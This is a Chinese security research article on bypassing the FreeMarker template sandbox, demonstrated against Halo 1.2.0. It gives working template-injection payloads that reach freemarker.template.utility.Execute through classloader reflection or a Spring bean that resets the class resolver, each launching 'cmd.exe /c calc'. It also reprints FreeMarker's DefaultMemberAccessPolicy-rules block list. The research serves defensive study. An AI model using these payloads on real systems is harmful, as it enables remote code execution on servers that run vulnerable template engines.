JAVA安全之FreeMark沙箱绕过研究

admin 2024年11月6日10:14:45评论4 views字数 33268阅读110分53秒阅读模式

文章前言

Freemark中维护了一个freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties黑名单类用于对模板渲染过程中的类方法进行检查,此检查主要通过在解析模板文件之前设置配置项的NewBuiltinClassResolver来实现,本篇文章将结合Pwntester 2020年的议题"Room For Escape Scribbling Outside The Lines Of Template"给出相关的沙箱绕过方式

防御措施

Freemarker存在编辑模板功能时为了防止模板注入通常会使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或设置new_builtin_class_resolver来限制内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数:

  • UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(String)获得任何类

  • SAFER_RESOLVER:禁止加载ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类

  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类

下面时Halo博客系统针对模板注入漏洞的防护措施:
https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c

JAVA安全之FreeMark沙箱绕过研究

使用下面的攻击载荷实施攻击测试时会报如下错误信息:

#攻击测试载荷<#assign test="freemarker.template.utility.Execute"?new()>${test("cmd.exe /c calc")}#完整错误信息2024-09-22 10:54:58.999 ERROR 4472 --- [ XNIO-1 task-28] io.undertow.request                      : UT005023: Exception handling request to /errorjava.lang.RuntimeException: org.springframework.web.util.NestedServletException: Request processing failed; nested exception is freemarker.core._MiscTemplateException: Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

JAVA安全之FreeMark沙箱绕过研究

沙箱绕过

2.3.30以下

根据Pwntester 2020年的议题"Room For Escape Scribbling Outside The Lines Of Template"可以发掘两个在2.3.30以下绕过沙箱的payload:

方式1:绕过class.getClassloader反射加载Execute类

我们可以使用java.security.protectionDomain的getClassLoader方法来获得类加载器,随后再一步一步反射调用Execute类,此payload构造时需要在数据模型中找到一个作为对象的变量,这里以halo1.2.0举例,其freemarker版本为2.3.29并配置了NewBuiltinClassResolve

JAVA安全之FreeMark沙箱绕过研究

随后我们登录系统后台找到模板编辑的功能位置并插入恶意载荷

<#assign classloader=<<object>>.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>${dwf.newInstance(ec,null)("cmd.exe /c calc")}

在这里我们在原来代码中的便签后插入payload,替换payload中的object为archive插入载荷:

JAVA安全之FreeMark沙箱绕过研究

随后访问归档页面即可触发恶意载荷:

JAVA安全之FreeMark沙箱绕过研究

方式2:Spring Beans可用时直接禁用沙箱
此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}

在Halo 1.2.0中默认配置spring.freemarker.expose-spring-macro-helpers=true:
run/halo/app/config/WebMvcAutoConfiguration.java

JAVA安全之FreeMark沙箱绕过研究

此时我们编辑模板文件并添加恶意载荷如下:

JAVA安全之FreeMark沙箱绕过研究

此时访问一个404页面会看到如下执行结果:

JAVA安全之FreeMark沙箱绕过研究

当spring.freemarker.expose-spring-macro-helpers=false时将报如下错误提示信息:

JAVA安全之FreeMark沙箱绕过研究

2.3.30以后

Freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱且默认使用DefaultMemberAccessPolicy,但是漏洞的防护需要同时配置new-builtin-class-resolver,否则用最开始的payload即可攻击,在这里我们使用上面的沙箱绕过的载荷做一个测试

<#assign classloader=archive.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cmd.exe /c calc")}

JAVA安全之FreeMark沙箱绕过研究

发现执行不成功,原因是object.class.protectionDomain.classLoader无法取到值

JAVA安全之FreeMark沙箱绕过研究

随后查看黑名单文件unsafeMethods.properties文件发现其中并没有对ProtectionDomain.getClassLoader进行任何限制

JAVA安全之FreeMark沙箱绕过研究

紧接着发现在2.3.30以上引入的memberAccessPolicy策略,发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件,查看DefaultMemberAccessPolicy-rules时可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block

JAVA安全之FreeMark沙箱绕过研究

@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法,DefaultMemberAccessPolicy-rules完整列表如下所示:

# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.

# Used by DefaultMemberAccessPolicy (not by LegacyDefaultMemberAccessPolicy).
# It does NOT provide enough safety if template authors aren't as trusted as the developers; you need to use a custom
# whitelist then (see WhitelistMemberAccessPolicy).

# Each member entry must have a upper bound type that already has a rule defined. The rules are associated with the
# upper bound type in the lines starting with @. The possible rules are:
# - whitelistPolicyIfAssignable: Members of the type and of its subtypes can only access members that were whitelisted.
# Thus, if you extend a such type, and add a new method, it won't be exposed, as it wasn't whitelisted.
# - blacklistUnlistedMembers: Members of the type that are not listed will be blacklisted. Once a member was blacklisted,
# it will be blacklisted in subtypes as well. If you extend a type that has tris rule, and add a new method, it will
# be exposed, as it wasn't blacklisted.

@blacklistUnlistedMembers java.lang.Object
# Disallowed since 2.3.0: java.lang.Object.wait(long)
# Disallowed since 2.3.0: java.lang.Object.wait(long,int)
# Disallowed since 2.3.0: java.lang.Object.wait()
java.lang.Object.equals(java.lang.Object)
java.lang.Object.toString()
java.lang.Object.hashCode()
java.lang.Object.getClass()
# Disallowed since 2.3.0: java.lang.Object.notify()
# Disallowed since 2.3.0: java.lang.Object.notifyAll()

@blacklistUnlistedMembers java.lang.Thread
java.lang.Thread.getName()
# Disallowed since 2.3.0, since 2.3.30 even when overridden: java.lang.Thread.run()
java.lang.Thread.isInterrupted()
# Disallowed since 2.3.30: java.lang.Thread.currentThread()
# Disallowed since 2.3.30: java.lang.Thread.onSpinWait()
# Disallowed since 2.3.0: java.lang.Thread.join(long,int)
# Disallowed since 2.3.0: java.lang.Thread.join(long)
# Disallowed since 2.3.0: java.lang.Thread.join()
java.lang.Thread.getThreadGroup()
# Disallowed since 2.3.0: java.lang.Thread.setContextClassLoader(java.lang.ClassLoader)
java.lang.Thread.holdsLock(java.lang.Object)
# Disallowed since 2.3.30: java.lang.Thread.getStackTrace()
java.lang.Thread.checkAccess()
# Disallowed since 2.3.30: java.lang.Thread.dumpStack()
# Disallowed since 2.3.0: java.lang.Thread.setPriority(int)
# Disallowed since 2.3.0: java.lang.Thread.setDaemon(boolean)
# Disallowed since 2.3.0: java.lang.Thread.start()
# Disallowed since 2.3.0: java.lang.Thread.sleep(long)
# Disallowed since 2.3.0: java.lang.Thread.sleep(long,int)
java.lang.Thread.isDaemon()
java.lang.Thread.getPriority()
# Disallowed since 2.3.0: java.lang.Thread.getContextClassLoader()
# Disallowed since 2.3.0: java.lang.Thread.resume()
# Disallowed since 2.3.0: java.lang.Thread.interrupt()
java.lang.Thread.activeCount()
# Disallowed since 2.3.30: java.lang.Thread.enumerate(java.lang.Thread[])
java.lang.Thread.isAlive()
# Disallowed since 2.3.30: java.lang.Thread.setDefaultUncaughtExceptionHandler(java.lang.Thread$UncaughtExceptionHandler)
# Disallowed since 2.3.30: java.lang.Thread.getUncaughtExceptionHandler()
# Disallowed since 2.3.30: java.lang.Thread.yield()
# Disallowed since 2.3.0: java.lang.Thread.stop()
java.lang.Thread.interrupted()
# Disallowed since 2.3.0: java.lang.Thread.suspend()
# Disallowed since 2.3.0: java.lang.Thread.setName(java.lang.String)
java.lang.Thread.countStackFrames()
# Disallowed since 2.3.30: java.lang.Thread.getAllStackTraces()
java.lang.Thread.getId()
java.lang.Thread.getState()
# Disallowed since 2.3.30: java.lang.Thread.getDefaultUncaughtExceptionHandler()
# Disallowed since 2.3.30: java.lang.Thread.setUncaughtExceptionHandler(java.lang.Thread$UncaughtExceptionHandler)

@whitelistPolicyIfAssignable java.lang.ThreadGroup
java.lang.ThreadGroup.getName()
# Disallowed since 2.3.30: java.lang.ThreadGroup.list()
java.lang.ThreadGroup.getParent()
java.lang.ThreadGroup.checkAccess()
# Disallowed since 2.3.0: java.lang.ThreadGroup.setDaemon(boolean)
java.lang.ThreadGroup.isDaemon()
# Disallowed since 2.3.0: java.lang.ThreadGroup.resume()
# Disallowed since 2.3.0: java.lang.ThreadGroup.interrupt()
java.lang.ThreadGroup.getMaxPriority()
java.lang.ThreadGroup.activeCount()
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.ThreadGroup[],boolean)
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.ThreadGroup[])
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.Thread[])
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.Thread[],boolean)
# Disallowed since 2.3.30: java.lang.ThreadGroup.uncaughtException(java.lang.Thread,java.lang.Throwable)
# Disallowed since 2.3.0: java.lang.ThreadGroup.stop()
# Disallowed since 2.3.0: java.lang.ThreadGroup.suspend()
# Disallowed since 2.3.0: java.lang.ThreadGroup.setMaxPriority(int)
java.lang.ThreadGroup.activeGroupCount()
# Disallowed since 2.3.0: java.lang.ThreadGroup.destroy()
java.lang.ThreadGroup.isDestroyed()
java.lang.ThreadGroup.parentOf(java.lang.ThreadGroup)
# Disallowed since 2.3.0: java.lang.ThreadGroup.allowThreadSuspension(boolean)

@whitelistPolicyIfAssignable java.lang.Runtime
# Disallowed since 2.3.30: java.lang.Runtime.getRuntime()
# Disallowed since 2.3.0: java.lang.Runtime.exit(int)
# Disallowed since 2.3.30: java.lang.Runtime.runFinalization()
java.lang.Runtime.version()
# Disallowed since 2.3.0: java.lang.Runtime.loadLibrary(java.lang.String)
# Disallowed since 2.3.30: java.lang.Runtime.gc()
# Disallowed since 2.3.0: java.lang.Runtime.load(java.lang.String)
java.lang.Runtime.freeMemory()
java.lang.Runtime.maxMemory()
java.lang.Runtime.availableProcessors()
# Disallowed since 2.3.0: java.lang.Runtime.halt(int)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String[])
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String,java.lang.String[],java.io.File)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String[],java.lang.String[])
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String[],java.lang.String[],java.io.File)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String,java.lang.String[])
# Disallowed since 2.3.0: java.lang.Runtime.addShutdownHook(java.lang.Thread)
# Disallowed since 2.3.0: java.lang.Runtime.removeShutdownHook(java.lang.Thread)
java.lang.Runtime.totalMemory()
# Disallowed since 2.3.0: java.lang.Runtime.traceInstructions(boolean)
# Disallowed since 2.3.0: java.lang.Runtime.traceMethodCalls(boolean)

@whitelistPolicyIfAssignable java.lang.System
# Disallowed since 2.3.0: java.lang.System.exit(int)
# Disallowed since 2.3.0: java.lang.System.runFinalization()
# Disallowed since 2.3.0: java.lang.System.runFinalizersOnExit(boolean)
java.lang.System.getProperty(java.lang.String)
java.lang.System.getProperty(java.lang.String,java.lang.String)
java.lang.System.identityHashCode(java.lang.Object)
java.lang.System.currentTimeMillis()
java.lang.System.nanoTime()
# Disallowed since 2.3.30: java.lang.System.arraycopy(java.lang.Object,int,java.lang.Object,int,int)
# Disallowed since 2.3.30: java.lang.System.getSecurityManager()
java.lang.System.mapLibraryName(java.lang.String)
# Disallowed since 2.3.0: java.lang.System.loadLibrary(java.lang.String)
# Disallowed since 2.3.30: java.lang.System.console()
# Disallowed since 2.3.30: java.lang.System.inheritedChannel()
# Disallowed since 2.3.0: java.lang.System.setSecurityManager(java.lang.SecurityManager)
java.lang.System.lineSeparator()
# Disallowed since 2.3.0: java.lang.System.setProperty(java.lang.String,java.lang.String)
java.lang.System.getenv(java.lang.String)
java.lang.System.getenv()
# Disallowed since 2.3.30: java.lang.System.getLogger(java.lang.String,java.util.ResourceBundle)
# Disallowed since 2.3.30: java.lang.System.getLogger(java.lang.String)
# Disallowed since 2.3.30: java.lang.System.gc()
# Disallowed since 2.3.0: java.lang.System.setIn(java.io.InputStream)
# Disallowed since 2.3.0: java.lang.System.setOut(java.io.PrintStream)
# Disallowed since 2.3.0: java.lang.System.setErr(java.io.PrintStream)
java.lang.System.getProperties()
# Disallowed since 2.3.0: java.lang.System.setProperties(java.util.Properties)
# Disallowed since 2.3.0: java.lang.System.clearProperty(java.lang.String)
# Disallowed since 2.3.0: java.lang.System.load(java.lang.String)

@whitelistPolicyIfAssignable java.lang.ClassLoader
java.lang.ClassLoader.getName()
# Disallowed since 2.3.30: java.lang.ClassLoader.loadClass(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getPlatformClassLoader()
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemClassLoader()
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemResourceAsStream(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getResourceAsStream(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemResource(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getResource(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getResources(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getDefinedPackage(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.resources(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.isRegisteredAsParallelCapable()
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemResources(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getParent()
# Disallowed since 2.3.30: java.lang.ClassLoader.getUnnamedModule()
# Disallowed since 2.3.30: java.lang.ClassLoader.getDefinedPackages()
# Disallowed since 2.3.30: java.lang.ClassLoader.setDefaultAssertionStatus(boolean)
# Disallowed since 2.3.30: java.lang.ClassLoader.setPackageAssertionStatus(java.lang.String,boolean)
# Disallowed since 2.3.30: java.lang.ClassLoader.setClassAssertionStatus(java.lang.String,boolean)
# Disallowed since 2.3.30: java.lang.ClassLoader.clearAssertionStatus()

@whitelistPolicyIfAssignable java.security.ProtectionDomain
# Disallowed since 2.3.30: java.security.ProtectionDomain.getClassLoader()
# Disallowed since 2.3.30: java.security.ProtectionDomain.getCodeSource()
# Disallowed since 2.3.30: java.security.ProtectionDomain.implies(java.security.Permission)
# Disallowed since 2.3.30: java.security.ProtectionDomain.getPermissions()
# Disallowed since 2.3.30: java.security.ProtectionDomain.getPrincipals()
# Disallowed since 2.3.30: java.security.ProtectionDomain.staticPermissionsOnly()

@whitelistPolicyIfAssignable java.lang.Class
java.lang.Class.getName()
# Disallowed since 2.3.30: java.lang.Class.forName(java.lang.Module,java.lang.String)
# Disallowed since 2.3.0: java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)
# Disallowed since 2.3.0: java.lang.Class.forName(java.lang.String)
# Disallowed since 2.3.30: java.lang.Class.getModule()
java.lang.Class.getProtectionDomain()
java.lang.Class.isAssignableFrom(java.lang.Class)
java.lang.Class.isInstance(java.lang.Object)
java.lang.Class.getModifiers()
java.lang.Class.isInterface()
java.lang.Class.isArray()
java.lang.Class.isPrimitive()
java.lang.Class.getSuperclass()
java.lang.Class.cast(java.lang.Object)
java.lang.Class.componentType()
java.lang.Class.componentType()
java.lang.Class.describeConstable()
java.lang.Class.getComponentType()
java.lang.Class.isAnnotation()
java.lang.Class.isEnum()
java.lang.Class.getTypeParameters()
# Disallowed since 2.3.0: java.lang.Class.getClassLoader()
# Disallowed since 2.3.0: java.lang.Class.newInstance()
java.lang.Class.getInterfaces()
java.lang.Class.getEnclosingClass()
java.lang.Class.getSimpleName()
java.lang.Class.getCanonicalName()
# Disallowed since 2.3.30: java.lang.Class.getResourceAsStream(java.lang.String)
# Disallowed since 2.3.30: java.lang.Class.getResource(java.lang.String)
java.lang.Class.getPackageName()
java.lang.Class.desiredAssertionStatus()
java.lang.Class.getMethod(java.lang.String,java.lang.Class[])
java.lang.Class.isAnnotationPresent(java.lang.Class)
java.lang.Class.descriptorString()
java.lang.Class.arrayType()
java.lang.Class.toGenericString()
java.lang.Class.isSynthetic()
java.lang.Class.getGenericSuperclass()
java.lang.Class.getPackage()
java.lang.Class.getGenericInterfaces()
# Disallowed since 2.3.30: java.lang.Class.getSigners()
java.lang.Class.getEnclosingMethod()
java.lang.Class.getEnclosingConstructor()
java.lang.Class.getDeclaringClass()
java.lang.Class.getTypeName()
java.lang.Class.isAnonymousClass()
java.lang.Class.isLocalClass()
java.lang.Class.isMemberClass()
java.lang.Class.getClasses()
java.lang.Class.getFields()
java.lang.Class.getMethods()
java.lang.Class.getConstructors()
java.lang.Class.getField(java.lang.String)
java.lang.Class.getConstructor(java.lang.Class[])
java.lang.Class.getDeclaredClasses()
java.lang.Class.getDeclaredFields()
java.lang.Class.getDeclaredMethods()
java.lang.Class.getDeclaredConstructors()
java.lang.Class.getDeclaredField(java.lang.String)
java.lang.Class.getDeclaredMethod(java.lang.String,java.lang.Class[])
java.lang.Class.getDeclaredConstructor(java.lang.Class[])
java.lang.Class.getEnumConstants()
java.lang.Class.asSubclass(java.lang.Class)
java.lang.Class.getAnnotation(java.lang.Class)
java.lang.Class.getAnnotationsByType(java.lang.Class)
java.lang.Class.getAnnotations()
java.lang.Class.getDeclaredAnnotation(java.lang.Class)
java.lang.Class.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.Class.getDeclaredAnnotations()
java.lang.Class.getAnnotatedSuperclass()
java.lang.Class.getAnnotatedInterfaces()
java.lang.Class.getNestHost()
java.lang.Class.isNestmateOf(java.lang.Class)
java.lang.Class.getNestMembers()

@whitelistPolicyIfAssignable java.lang.Package
java.lang.Package.getName()
java.lang.Package.isAnnotationPresent(java.lang.Class)
java.lang.Package.getPackage(java.lang.String)
java.lang.Package.getAnnotation(java.lang.Class)
java.lang.Package.getAnnotationsByType(java.lang.Class)
java.lang.Package.getAnnotations()
java.lang.Package.getDeclaredAnnotation(java.lang.Class)
java.lang.Package.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.Package.getDeclaredAnnotations()
java.lang.Package.getPackages()
java.lang.Package.isSealed()
java.lang.Package.isSealed(java.net.URL)
java.lang.Package.getSpecificationTitle()
java.lang.Package.getSpecificationVersion()
java.lang.Package.getSpecificationVendor()
java.lang.Package.getImplementationTitle()
java.lang.Package.getImplementationVersion()
java.lang.Package.getImplementationVendor()
java.lang.Package.isCompatibleWith(java.lang.String)

@whitelistPolicyIfAssignable java.lang.reflect.Method
# Disallowed since 2.3.0: java.lang.reflect.Method.invoke(java.lang.Object,java.lang.Object[])
java.lang.reflect.Method.getName()
java.lang.reflect.Method.getModifiers()
java.lang.reflect.Method.getTypeParameters()
java.lang.reflect.Method.getReturnType()
java.lang.reflect.Method.getParameterTypes()
java.lang.reflect.Method.toGenericString()
java.lang.reflect.Method.isSynthetic()
java.lang.reflect.Method.getDeclaringClass()
java.lang.reflect.Method.getAnnotation(java.lang.Class)
java.lang.reflect.Method.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.Method.setAccessible(boolean)
java.lang.reflect.Method.isVarArgs()
java.lang.reflect.Method.getParameterCount()
java.lang.reflect.Method.getParameterAnnotations()
java.lang.reflect.Method.getGenericParameterTypes()
java.lang.reflect.Method.getGenericExceptionTypes()
java.lang.reflect.Method.isDefault()
java.lang.reflect.Method.getGenericReturnType()
java.lang.reflect.Method.getExceptionTypes()
java.lang.reflect.Method.isBridge()
java.lang.reflect.Method.getDefaultValue()
java.lang.reflect.Method.getAnnotatedReturnType()
java.lang.reflect.Method.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Method.getAnnotatedParameterTypes()
java.lang.reflect.Method.getParameters()
java.lang.reflect.Method.getAnnotatedReceiverType()
java.lang.reflect.Method.getAnnotatedExceptionTypes()
java.lang.reflect.Method.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Method.getAnnotations()
java.lang.reflect.Method.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Method.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Method.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Method.trySetAccessible()
java.lang.reflect.Method.isAccessible()
java.lang.reflect.Method.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.Constructor
java.lang.reflect.Constructor.getName()
java.lang.reflect.Constructor.getModifiers()
java.lang.reflect.Constructor.getTypeParameters()
# Disallowed since 2.3.0: java.lang.reflect.Constructor.newInstance(java.lang.Object[])
java.lang.reflect.Constructor.getParameterTypes()
java.lang.reflect.Constructor.toGenericString()
java.lang.reflect.Constructor.isSynthetic()
java.lang.reflect.Constructor.getDeclaringClass()
java.lang.reflect.Constructor.getAnnotation(java.lang.Class)
java.lang.reflect.Constructor.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.Constructor.setAccessible(boolean)
java.lang.reflect.Constructor.isVarArgs()
java.lang.reflect.Constructor.getParameterCount()
java.lang.reflect.Constructor.getParameterAnnotations()
java.lang.reflect.Constructor.getGenericParameterTypes()
java.lang.reflect.Constructor.getGenericExceptionTypes()
java.lang.reflect.Constructor.getExceptionTypes()
java.lang.reflect.Constructor.getAnnotatedReturnType()
java.lang.reflect.Constructor.getAnnotatedReceiverType()
java.lang.reflect.Constructor.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Constructor.getAnnotatedParameterTypes()
java.lang.reflect.Constructor.getParameters()
java.lang.reflect.Constructor.getAnnotatedExceptionTypes()
java.lang.reflect.Constructor.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Constructor.getAnnotations()
java.lang.reflect.Constructor.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Constructor.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Constructor.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Constructor.trySetAccessible()
java.lang.reflect.Constructor.isAccessible()
java.lang.reflect.Constructor.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.Field
java.lang.reflect.Field.getName()
java.lang.reflect.Field.getModifiers()
# Disallowed since 2.3.30: java.lang.reflect.Field.get(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getBoolean(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getByte(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getShort(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getChar(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getInt(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getLong(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getFloat(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getDouble(java.lang.Object)
java.lang.reflect.Field.toGenericString()
java.lang.reflect.Field.isSynthetic()
java.lang.reflect.Field.getDeclaringClass()
java.lang.reflect.Field.getAnnotation(java.lang.Class)
java.lang.reflect.Field.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Field.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.Field.set(java.lang.Object,java.lang.Object)
# Disallowed since 2.3.0: java.lang.reflect.Field.setAccessible(boolean)
java.lang.reflect.Field.getGenericType()
java.lang.reflect.Field.getType()
# Disallowed since 2.3.0: java.lang.reflect.Field.setBoolean(java.lang.Object,boolean)
# Disallowed since 2.3.0: java.lang.reflect.Field.setByte(java.lang.Object,byte)
# Disallowed since 2.3.0: java.lang.reflect.Field.setChar(java.lang.Object,char)
# Disallowed since 2.3.0: java.lang.reflect.Field.setShort(java.lang.Object,short)
# Disallowed since 2.3.0: java.lang.reflect.Field.setInt(java.lang.Object,int)
# Disallowed since 2.3.0: java.lang.reflect.Field.setLong(java.lang.Object,long)
# Disallowed since 2.3.0: java.lang.reflect.Field.setFloat(java.lang.Object,float)
# Disallowed since 2.3.0: java.lang.reflect.Field.setDouble(java.lang.Object,double)
java.lang.reflect.Field.isEnumConstant()
java.lang.reflect.Field.getAnnotatedType()
java.lang.reflect.Field.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Field.getAnnotations()
java.lang.reflect.Field.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Field.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Field.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Field.trySetAccessible()
java.lang.reflect.Field.isAccessible()
java.lang.reflect.Field.canAccess(java.lang.Object)

@blacklistUnlistedMembers java.lang.reflect.AccessibleObject
java.lang.reflect.AccessibleObject.isAnnotationPresent(java.lang.Class)
java.lang.reflect.AccessibleObject.getAnnotation(java.lang.Class)
java.lang.reflect.AccessibleObject.getAnnotationsByType(java.lang.Class)
java.lang.reflect.AccessibleObject.getAnnotations()
java.lang.reflect.AccessibleObject.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.AccessibleObject.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.AccessibleObject.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.AccessibleObject.setAccessible(boolean)
# Disallowed since 2.3.0: java.lang.reflect.AccessibleObject.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.30: java.lang.reflect.AccessibleObject.trySetAccessible()
java.lang.reflect.AccessibleObject.isAccessible()
java.lang.reflect.AccessibleObject.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.Member
java.lang.reflect.Member.getName()
java.lang.reflect.Member.getModifiers()
java.lang.reflect.Member.isSynthetic()
java.lang.reflect.Member.getDeclaringClass()

@whitelistPolicyIfAssignable java.lang.reflect.GenericDeclaration
java.lang.reflect.GenericDeclaration.getTypeParameters()
java.lang.reflect.GenericDeclaration.isAnnotationPresent(java.lang.Class)
java.lang.reflect.GenericDeclaration.getAnnotation(java.lang.Class)
java.lang.reflect.GenericDeclaration.getAnnotationsByType(java.lang.Class)
java.lang.reflect.GenericDeclaration.getAnnotations()
java.lang.reflect.GenericDeclaration.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.GenericDeclaration.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.GenericDeclaration.getDeclaredAnnotations()

@whitelistPolicyIfAssignable java.lang.reflect.Executable
java.lang.reflect.Executable.getName()
java.lang.reflect.Executable.getModifiers()
java.lang.reflect.Executable.getTypeParameters()
java.lang.reflect.Executable.getParameterTypes()
java.lang.reflect.Executable.toGenericString()
java.lang.reflect.Executable.isSynthetic()
java.lang.reflect.Executable.getDeclaringClass()
java.lang.reflect.Executable.getAnnotation(java.lang.Class)
java.lang.reflect.Executable.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Executable.getDeclaredAnnotations()
java.lang.reflect.Executable.isVarArgs()
java.lang.reflect.Executable.getAnnotatedParameterTypes()
java.lang.reflect.Executable.getParameterCount()
java.lang.reflect.Executable.getParameterAnnotations()
java.lang.reflect.Executable.getGenericParameterTypes()
java.lang.reflect.Executable.getGenericExceptionTypes()
java.lang.reflect.Executable.getExceptionTypes()
java.lang.reflect.Executable.getAnnotatedReturnType()
java.lang.reflect.Executable.getParameters()
java.lang.reflect.Executable.getAnnotatedReceiverType()
java.lang.reflect.Executable.getAnnotatedExceptionTypes()
java.lang.reflect.Executable.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Executable.getAnnotations()
java.lang.reflect.Executable.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Executable.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Executable.setAccessible(boolean)
# Disallowed since 2.3.0: java.lang.reflect.Executable.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Executable.trySetAccessible()
java.lang.reflect.Executable.isAccessible()
java.lang.reflect.Executable.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.TypeVariable
java.lang.reflect.TypeVariable.getName()
java.lang.reflect.TypeVariable.getBounds()
java.lang.reflect.TypeVariable.getGenericDeclaration()
java.lang.reflect.TypeVariable.getAnnotatedBounds()
java.lang.reflect.TypeVariable.getTypeName()
java.lang.reflect.TypeVariable.isAnnotationPresent(java.lang.Class)
java.lang.reflect.TypeVariable.getAnnotation(java.lang.Class)
java.lang.reflect.TypeVariable.getAnnotationsByType(java.lang.Class)
